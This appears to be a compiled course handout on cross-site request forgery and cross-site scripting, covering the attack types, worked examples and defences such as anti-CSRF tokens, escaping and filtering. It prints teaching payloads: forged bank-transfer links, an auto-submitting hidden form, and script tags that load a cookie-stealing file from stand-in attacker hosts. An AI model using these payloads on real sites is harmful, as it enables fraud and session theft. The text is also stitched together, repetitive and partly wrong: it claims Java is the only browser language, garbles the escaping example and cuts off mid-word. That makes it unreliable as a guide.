What is Cross-Site Request Forgery (CSRF)?
A cross site request forgery attack is a type of confused deputy* cyber
attack that tricks a user into accidentally using their credentials to invoke a
state changing activity, such as transferring funds from their account,
changing their email address and password, or some other undesired
action.
Cross-Site Request Forgery (CSRF) is an attack that forces authenticated
users to submit a request to a Web application against which they are
currently authenticated. CSRF attacks exploit the trust a Web application
has in an authenticated user. (Conversely, cross-site scripting (XSS)
attacks exploit the trust a user has in a particular Web application). A CSRF
attack exploits a vulnerability in a Web application if it cannot differentiate
between a request generated by an individual user and a request
generated by a user without their consent.
Cross site request forgery (CSRF), also known as XSRF, Sea Surf or
Session Riding, is an attack vector that tricks a web browser into executing
an unwanted action in an application to which a user is logged in.
CSRFs are typically conducted using malicious social engineering, such as
an email or link that tricks the victim into sending a forged request to a
server.
An attacker‟s aim for carrying out a CSRF attack is to force the user to
submit a state-changing request. Examples include:
Submitting or deleting a record.
Submitting a transaction.
Purchasing a product.
Changing a password.
Sending a message.
1|Page
How does Cross-Site Request Forgery Work?
This attack focuses on targeting state-changing requests, which refers to
the type of request that results in data being changed from one value to
another. For example, a targeted request might make a purchase or
change a value in an account. Interestingly, this is a “blind attack”, and
does not return data to the attacker, making it a poor choice for data theft.
For example, a typical GET request for a $100 bank transfer might look
like:
GET http://netbank.com/transfer.do?acct=PersonB&amount=$100
HTTP/1.1
A hacker can modify this script so it results in a $100 transfer to their own
account. Now the malicious request might look like:
GET http://netbank.com/transfer.do?acct=AttackerA&amount=$100
HTTP/1.1
A bad actor can embed the request into an innocent looking hyperlink:
<a
href="http://netbank.com/transfer.do?acct=AttackerA&amount=$100">Read
more!</a>
Next, he can distribute the hyperlink via email to a large number of bank
customers. Those who click on the link while logged into their bank account
will unintentionally initiate the $100 transfer.
Note that if the bank‟s website is only using POST requests, it‟s impossible
to frame malicious requests using a <a> href tag. However, the attack
could be delivered in a <form> tag with automatic execution of the
embedded JavaScript.
2|Page
This is how such a form may look like:
<body onload="document.forms[0].submit()">
<form action="http://netbank.com/transfer.do" method="POST">
<input type="hidden" name="acct" value="AttackerA"/>
<input type="hidden" name="amount" value="$100"/>
<input type="submit" value="View my pictures!"/>
</form>
</body>
Here is an example of the 4 steps in a cross-site request forgery attack:
1. An attacker creates a forged request that, when run, will transfer
$10,000 from a particular bank into the attacker‟s account.
2. The attacker embeds the forged request into a hyperlink and sends it out
in bulk emails and also embeds it into websites.
3. A victim clicks on an email or website link placed by the attacker,
resulting in the victim making a request to the bank to transfer $10,000.
4. The bank server receives the request, and because the victim is
properly authorized, it treats the request as legitimate and transfers the
funds.
Another example
3|Page
An attacker aims to transfer $5,000 from Bob‟s account by exploiting this
vulnerability. To successfully launch this attack:
1. The attacker must build an exploit URL.
2. The attacker must also trick Bob into clicking the exploit URL.
3. Bob needs to have an active session with samplebank.com.
Let‟s say that the online banking application is built using the GET method
to submit a transfer request. As such, Bob‟s request to transfer $500 to
Alice (with account number 213367) might look like this:
GET
https://samplebank.com/onlinebanking/transfer?amount=500&accoun
tNumber=213367 HTTP/1.1
Aligning with the first requirement to successfully launch a CSRF attack, an
attacker must craft a malicious URL to transfer $5,000 to the account
425654:
https://samplebank.com/onlinebanking/transfer?amount=5000&accou
ntNumber=425654
Using various social engineering attack methods, an attacker can trick Bob
into loading the malicious URL. This can be achieved in various ways. For
instance, including malicious HTML image elements onto forms, placing a
malicious URL on pages that are often accessed by users while logged into
the application, or by sending a malicious URL through email.
The following is an example of a disguised URL:
<img src =
“https://samplebank.com/onlinebanking/transfer?amount=5000&acco
untNumber=425654” width=“0” height= “0”>
Consider the scenario that includes an image tag in an attacker-crafted
email to Bob. Upon receiving it, Bob‟s browser application opens this URL
automatically—without human intervention. As a result, without Bob‟s
permission, a malicious request is sent to the online banking application. If
Bob has an active session with samplebank.com, the application would
4|Page
treat this as an authorized amount transfer request coming from Bob. It
would then transfer the amount to the account specified by an attacker.
There are some limitations. To carry out a successful CSRF attack,
consider the following:
The success of a CSRF attack depends on a user‟s session with a
vulnerable application. The attack will only be successful if the user is
in an active session with the vulnerable application.
An attacker must find a valid URL to maliciously craft. The URL
needs to have a state-changing effect on the target application.
An attacker also needs to find the right values for the URL
parameters. Otherwise, the target application might reject the
malicious request.
CSRF attacks vary in methodology, but typically have the following
characteristics:
1. They exploit websites that rely on a user‟s identity
5|Page
2. They trick the user‟s browser into sending HTTP requests to the
targeted site
3. They involve using HTTP requests that have side effects and do
not have the proper CSRF protections in place
Different HTTP verbs have varying vulnerability to CSRF attacks, resulting
in variable protection strategies. This is due to the way that web browsers
handle the verbs differently.
HTTP GET requests have embedded parameters, such as those inside
image tags, which can be manipulated and exploited. Typically, GET
requests do not modify state, making them ineffective as targets of CSRF
for a properly implemented web application or other resource.
HTTP POST is used to change state, resulting in increased need for
protection. To this end, web browsers implement security measures called
the same origin policy (SOP) and cross origin resource sharing (CORS)
which contains the cross origin security policy. SOP allows only requests
from the same origin and CORS allows only certain types of requests to
come from a different origin. The combination of these implementations
helps to prevent CSRF attacks (among others) by limiting the ability of a
request or webpage to interact with a different origin.
Other HTTP verbs such as PUT and DELETE, can only be run using SOP
and CORS, mitigating many cross-site attacks.
How can Cross-Site Request Forgery be mitigated?
The most common methodology for mitigating CSRF attacks involves using
Anti-CSRF tokens using one of two methods. While the token
implementations are slightly different, the underlying principle remains the
same; by creating and then comparing a randomly generated token string,
an attacker is less likely to be able to perform an attack without an
exceptionally unlikely guess.
6|Page
Synchronizer token pattern:
When a user visits a web page, such as the bank webpage that allows for
the transfer of funds, the bank‟s website embeds a random token into the
form. When the user submits the form, the random token is returned and
the bank is able to check to see if the two tokens match. If the tokens
match, the transfer occurs. The attacker has no way to access the random
token value created in the webpage, and if they request the page, the same
origin policy would prevent the attacker from reading the response.
The downside of this method mitigation is it increases the burden on
the server side to check the validity of tokens with each request. It can also
create issues if a user has multiple browser windows or other conditions
that involve different software making the request. By expanding the scope
of the token to be per session instead of per request, some of this difficulty
can be avoided.
Cookie-to-header token:
Another method involves issuing a cookie to the visitor‟s web browser that
contains a random token. JavaScript operating on the client side will read
the value of the token in the cookie and copy it into an HTTP header that
will be sent with each request. If a genuine request is sent from the user,
the value in header can be verified by the server. Any other instances will
fail, mitigating a successful attack.
Best practices include:
☞ Logging off web applications when not in use
☞ Securing usernames and passwords
☞ Not allowing browsers to remember passwords
☞ Avoiding simultaneously browsing while logged into an
application
Cross-site scripting
7|Page
Cross-site scripting (XSS) is an attack in which an attacker injects
malicious executable scripts into the code of a trusted application or
website. Attackers often initiate an XSS attack by sending a malicious link
to a user and enticing the user to click it.
Cross-site scripting (XSS) is a type of injection attack in which a threat
actor inserts data, such as a malicious script, into content from trusted
websites. The malicious code is then included with dynamic content
delivered to a victim's browser.
XSS is one of the most common cyber attack types. Malicious scripts are
often delivered in the form of bits of JavaScript code that the victim's
browser executes. Exploits can incorporate malicious executable code in
many other languages, including Java, Ajax and Hypertext Markup
Language (HTML). Although XSS attacks can be serious, preventing the
vulnerabilities that enable them is relatively easy.
Cross-site scripting (XSS) is a type of web security vulnerability that allows
attackers to inject malicious code into a website or web application. This
code can then be executed by other users who visit the site, potentially
compromising their security or privacy.
8|Page
XSS attacks are often carried out by tricking users into clicking on
malicious links or opening infected files. Once the malicious code is
executed, it can steal sensitive information, such as passwords or credit
card numbers, redirect users to malicious websites, or even take control of
their computers.
Cross Site Scripting (XSS) is a vulnerability in a web application that
allows a third party to execute a script in the user‟s browser on behalf of
the web application. Cross-site Scripting is one of the most prevalent
vulnerabilities present on the web today. The exploitation of XSS against
a user can lead to various consequences such as account compromise,
account deletion, privilege escalation, malware infection and many more.
XSS vulnerabilities can be found in a variety of places, including:
☞ Input fields, such as search boxes and comment forms
☞ URLs
☞ Cookies
☞ HTTP headers
To protect against XSS attacks, developers should:
☞ Validate all user input
9|Page
☞ Encode all output
☞ Use a content security policy (CSP)
☞ Keep software up to date
☞ If you are concerned about XSS attacks, you can take the following
steps to protect yourself:
☞ Be wary of clicking on links or opening files from untrusted sources
☞ Use a strong password and don't reuse it across multiple accounts
☞ Keep your software up to date
☞ Use a security scanner to check for vul
What are the 3 types of XSS attacks?
There are three main categories of cross-site scripting vulnerabilities:
stored XSS, reflected XSS and Document Object Model (DOM)-based
XSS.
Stored XSS
Stored XSS attacks are also called persistent XSS. It is the most damaging
type of cross-site scripting attack. The attacker injects a malicious script,
also called a payload. The payload is stored permanently on the target
application, such as a database, blog, message board, in a forum post or in
a comment field.
The XSS payload is then served as part of a webpage when victims
navigate to the affected webpage in a browser. Once victims view the page
in a browser, they will inadvertently execute the malicious script.
Persistent (stored) XSS
In a persistent (stored) XSS attack, the malicious script is stored on the
vulnerable web-server. The injected script is then permanently stored on
the web-pages and returned to any user who accesses the web page
containing the script.
10 | P a g e
A common example of this type of attack is when an attacker posts a
specially crafted comment on a forum.
Example:
The attacker posts the following on a comment section of Joe's Blog:
"Great article, keep it up Joe !<script
src="http://<theattackersbadserveraddress>.com/badscript.js"
></script>"
The victim visits Joe's Blog post that contains the attacker's
comment.
The victim's browser interpret's part of the attacker's comment as an
HTML tag containing a javascript script:
<script
src="http://<theattackersbadserveraddress>.com/badscript.js" ></scri
pt>"
This will run badscript.js on the victim's browser:
Figure 2: Popup appears on visitors' browser
Note: in the figure above, badscript.js contains a simple alert script:
<script>alert('stored - owned')</script>
Stored XSS attack example
While browsing an e-commerce website, a perpetrator discovers a
vulnerability that allows HTML tags to be embedded in the site‟s comments
section. The embedded tags become a permanent feature of the page,
causing the browser to parse them with the rest of the source code every
time the page is opened.
11 | P a g e
The attacker adds the following comment: Great price for a great item!
Read my review here <script
src=”http://hackersite.com/authstealer.js”> </script>.
From this point on, every time the page is accessed, the HTML tag in the
comment will activate a JavaScript file, which is hosted on another site, and
has the ability to steal visitors‟ session cookies.
Using the session cookie, the attacker can compromise the visitor‟s
account, granting him easy access to his personal information and credit
card data. Meanwhile, the visitor, who may never have even scrolled down
to the comments section, is not aware that the attack took place.
Unlike a reflected attack, where the script is activated after a link is clicked,
a stored attack only requires that the victim visit the compromised web
page. This increases the reach of the attack, endangering all visitors no
matter their level of vigilance.
From the perpetrator‟s standpoint, persistent XSS attacks are relatively
harder to execute because of the difficulties in locating both a trafficked
website and one with vulnerabilities that enables permanent script
embedding.
1. Stored XSS: When the response containing the payload is stored on
the server in such a way that the script gets executed on every visit
without submission of payload, then it is identified as stored XSS. An
12 | P a g e
example of stored XSS is XSS in the comment thread.
Non-persistent (reflected) XSS
Non-persistent (reflected) XSS is the most common type of cross-site
scripting. In this type of attack, the injected malicious script is "reflected" off
the web server as a response that includes some or all of the input sent to
the server as part of the request. In such cases, the injected code travels to
the vulnerable web site, which "reflects" the attack back to the victim's
browser. The code is then executed by the browser because it actually
originated from a trusted server.
This type of attack can target web-servers' error messages or search
results that return all or part of a user's input.
Example:
A victim clicks on the following link:
www.<sometrustedvulnerablexsssite>.com/search.asp?term=<script>
alert('reflected - owned')</script>
The link posts a search query from the client to the web server.
The server returns the search result that contains the javascript
posted earlier in the search query:
……<script>alert('reflected - owned')</script>…..
The client's browser interprets the string as a script and executes it:
13 | P a g e
Figure 1:Popup appears on victim's browser
Reflected XSS is the most common type of cross-site scripting vulnerability.
In this type of attack, the attacker must deliver the payload to the victim.
The attacker uses phishing and other social engineering methods to lure
victims to inadvertently make a request to the web server that includes the
XSS payload script.
The Hypertext Transfer Protocol response that is reflected back includes
the payload from the HTTP request. The victim then executes the script
that gets reflected and executed inside the browser. Because reflected
XSS isn't a persistent attack, the attacker must deliver the payload to each
victim.
Reflected XSS: If the input has to be provided each time to execute, such
XSS is called reflected. These attacks are mostly carried out by delivering
a payload directly to the victim. Victim requests a page with a request
containing the payload and the payload comes embedded in the response
14 | P a g e
as a script. An example of reflected XSS is XSS in the search field.
There is another type of XSS called DOM based XSS and its instances
are either reflected or stored. DOM-based XSS arises when user-supplied
data is provided to the DOM objects without proper sanitizing. An example
of code vulnerable to XSS is below, notice the
variables firstname and lastname :
DOM-based XSS
DOM-based attacks are advanced ones made possible when the web
application's client-side script writes user-provided data to the DOM. The
web application reads the data from the DOM and delivers it to the
browser. If the data isn't handled correctly, the attacker is able to inject a
payload that will be stored as part of the DOM. The payload is then
executed when the data is read back from the DOM. The security
vulnerability exists on the client-side code, which is code that runs in the
browser instead of the server-side code.
DOM XSS is a relatively uncommon cross site script type of attack.
Unlike the other two attack types, which target server-side code, a DOM
15 | P a g e
XSS attack exploits security vulnerabilities on the client-side code or
code that runs in the browser. An attack of this nature occurs when a
web application processes JavaScript data from an untrusted source in
an unsafe way. DOM XSS attacks always happen in JavaScript because
Java is the only language that all browsers understand.
In the following example, an application uses JavaScript to read the
values from an input field. Then, it writes those values within an element
of the HTML.
var search = document.getElementById('search').value;
var results = document.getElementById('results');
results.innerHTML = 'You searched for: ' + search;
When attackers control the value of the input field, they can very easily
insert the malicious code that triggers their script.
You searched for: <img src=1 onerror='/* Bad stuff here... */'>
What is an example of cross-site scripting?
One useful example of cross-site scripting attacks is commonly seen on
websites that have unvalidated comment forums. In this case, an attacker
will post a comment consisting of executable code wrapped in
„<script></script>‟ tags. These tags tell a web browser to interpret
everything between the tags as JavaScript code. Once that comment is on
the page, when any other user loads that website, the malicious code
between the script tags will be executed by their web browser, and they will
become a victim of the attack.
Reflected cross-site scripting
This is the most commonly seen cross-site scripting attack. With a reflected
attack, malicious code is added onto the end of the url of a website; often
this will be a legitimate, trusted website. When the victim loads this link in
their web browser, the browser will execute the code injected into the url.
16 | P a g e
The attacker usually uses some form of social engineering to trick the
victim into clicking on the link.
For example, a user might receive a legitimate-looking email that claims to
come from their bank. The email will ask them to take some action on the
bank‟s website, and provide a link. The link may end up looking something
like this:
http://legitamite-bank.com/index.php?user=<script>here is some bad
code!</script>
Although the first part of the url looks safe and contains the domain of a
trusted website, the code injected onto the end of the url can be malicious.
Persistent cross-site scripting
This happens on sites that let users post content that other users will see,
such as a comments forum or social media site, for example. If the site
doesn‟t properly validate the inputs for user-generated content, an attacker
can insert code that other users‟ browsers will execute when the page
loads. For example an attacker might go to an online dating site might put
something like this in their profile:
"Hi! My name is Dave, I enjoy long walks on the beach and
<script>malicious code here</script>"
Any user that tries to access Dave‟s profile will become a victim to Dave‟s
persistent cross-site scripting attack.
What are examples of cross-site scripting?
One example of a stored XSS attack is to inject malicious code into the
comment field of an e-commerce site. An attacker embeds code within a
comment, writing "Read my review of this item!" alongside code with a
malicious URL embedded. The code might say something like:
<script src=http://evilhack.com/authstealer.js></script>
17 | P a g e
This will cause the website's server to store the malicious script as a
comment. When the user visits the page with comments on it, the browser
will interpret the code as JavaScript instead of HTML and execute the
code.
The comment containing the malicious content between the script tags will
load every time the page is loaded. Loading the page will activate a
malicious JavaScript file hosted on another website, which can steal a
user's session cookies. The cookies likely store important information about
the user's behavior on the e-commerce site, such as login information. With
that information, the hacker may be able to access more sensitive data on
the account, such as payment or contact information.
The user does not need to click any link on the page -- or even see the
malicious comment -- for it to steal data; the user simply needs to visit the
page. This is different from a reflected XSS attack, which would require the
user to click on the link.
How to prevent cross-site scripting
There is no single strategy for mitigating cross-site scripting, and different
types of web applications require different levels of protection. A number of
protective measures can be taken, below we will outline a few.
If possible, avoiding HTML in inputs - One very effective way to avoid
persistent cross-site scripting attacks is to prevent users from posting
HTML into form inputs. There are other options which let users create rich
content without the use of HTML, such as markdown and WYSIWYG
editors.
Validating inputs - Validation means implementing rules that prevent a
user from posting data into a form that doesn‟t meet certain criteria. For
example, an input that asks for the user‟s “Last Name” should have
validation rules that only let the user submit data consisting of
alphanumeric characters. Validation rules can also be set to reject any tags
18 | P a g e
or characters commonly used in cross-site scripting, such as “<script>”
tags.
Sanitizing data - Sanitizing data is similar to validation, but it happens after
the data has already been posted to the web server, yet still before it is
displayed to another user. There are several online tools that can sanitize
HTML and filter out any malicious code injections.
Taking cookie security measures - Web applications can also set special
rules for their cookie handling that can mitigate cookie-theft via cross-site
scripting attacks. Cookies can be tied to particular IP addresses so that
cross-site scripting attackers cannot access them. Additionally, rules can
be created to block JavaScript from accessing cookies altogether.
Setting WAF rules - A WAF can also be configured to enforce rules which
will prevent reflected cross-site scripting. These WAF rules employ
strategies that will block strange requests to the server, including cross-site
scripting attacks. The Cloudflare WAF offers turnkey installation and
protects web applications from cross-site scripting, DDoS attacks, SQL
injection, and other common threats.
A typical cross-site scripting attack flow is as follows:
1. The victim loads a webpage and the malicious code copies the user‟s
cookies
2. The code then sends an HTTP request to an attacker‟s webserver with
the stolen cookies in the body of the request.
3. The attacker can then use those cookies to impersonate the user on that
website for the purpose of a social engineering attack or even to access
bank account numbers or other sensitive data.
*Cookies are temporary login credentials saved on a user‟s computer. For
example when a user logs onto a site like Facebook, the site gives them a
cookie so that if they close the browser window and go back to Facebook
19 | P a g e
later that day, they are automatically authenticated by the cookie and won‟t
need to login again.
Prevention
Cross-site scripting strongly depends on the ability of an attacker to input
specially crafted data into a web-server or web application. The problem
stems from the fact that a user is able to input such data in the first place.
The best way to prevention XSS attacks is through Filtering and Escaping.
Filtering
A simple yet effective way of preventing XSS attacks is to pass all inputted
data through a filter which will identify and remove dangerous keywords.
The filter could look for common scripting strings, such as the HTML
<SCRIPT> tag or JavaScript commands which are not expected as input,
hence preventing scripts containing such strings from running on the web-
server.
Escaping
Another approach is to disable the scripts by performing Escaping. This
approach analyses the input data and modifies certain standard characters
used for scripting. These escape characters tell the browser to interpret the
scripts as data and not in any other way.
Eg: In HTML dangerous characters can be escaped by using the &#
sequence followed by the character code.
An escaped '<' character would therefore be written stored as '<'
An escaped '>' character would therefore be written stored as '>'
There exists many tools such as automated XSS scanners that web-server
owners should use to verify whether or not their server is vulnerable to XSS
attacks.
Different cross site scripting approaches
20 | P a g e
An XSS attack can occur any place where input from an HTTP request
could make its way into the HTML output. Below is a list of common tactics
that attackers may leverage in an XSS attack:
Utilize a <script> tag to reference, insert or embed malicious JavaScript
code.
Exploit JavaScript event attributes, such as onload and onerror, within
different tags.
Deliver an XSS payload within the <body> tag through JavaScript event
attributes.
Exploit unsecured <img>, <link>, <div>, <table>, <td> or <object> tags to
reference malicious script.
Leverage the <iframe> tag to embed a webpage within the existing page.
21 | P a g e
